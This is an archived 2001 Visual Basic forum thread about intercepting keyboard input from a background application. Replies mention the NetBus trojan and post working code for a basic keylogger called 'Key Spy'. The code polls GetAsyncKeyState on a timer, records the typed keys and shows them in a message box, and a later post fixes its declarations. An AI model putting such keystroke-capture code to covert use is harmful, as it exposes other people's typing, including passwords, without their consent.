|
-
Sep 2nd, 2001, 02:06 PM
#1
Thread Starter
Hyperactive Member
Keyboard
Hi all,
How can I not let a key stroke to reach to an application.
In other workd, can I consume a keyboard input before reaching other applications.
P.S.: My application is running in the backgound.
-
Sep 2nd, 2001, 10:29 PM
#2
I searched for a long time but I couldn't find squat. I know such a thing exists. I mean you can do it through NetBus, so it must be possible.
-
Sep 3rd, 2001, 06:06 AM
#3
Frenzied Member
Not to let a key reach an app you need to install a global hook ( you need a C++, asm or delphi standarad windows dll). To consume a keyboard input but not stopping it from going to other apps make a simple keylogger
VB Code:
'In a module
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'In a form
Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub
-
Sep 9th, 2001, 01:26 PM
#4
Why I see nothing in the message box?
-
Sep 9th, 2001, 03:22 PM
#5
Frenzied Member
Use this declarations
VB Code:
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|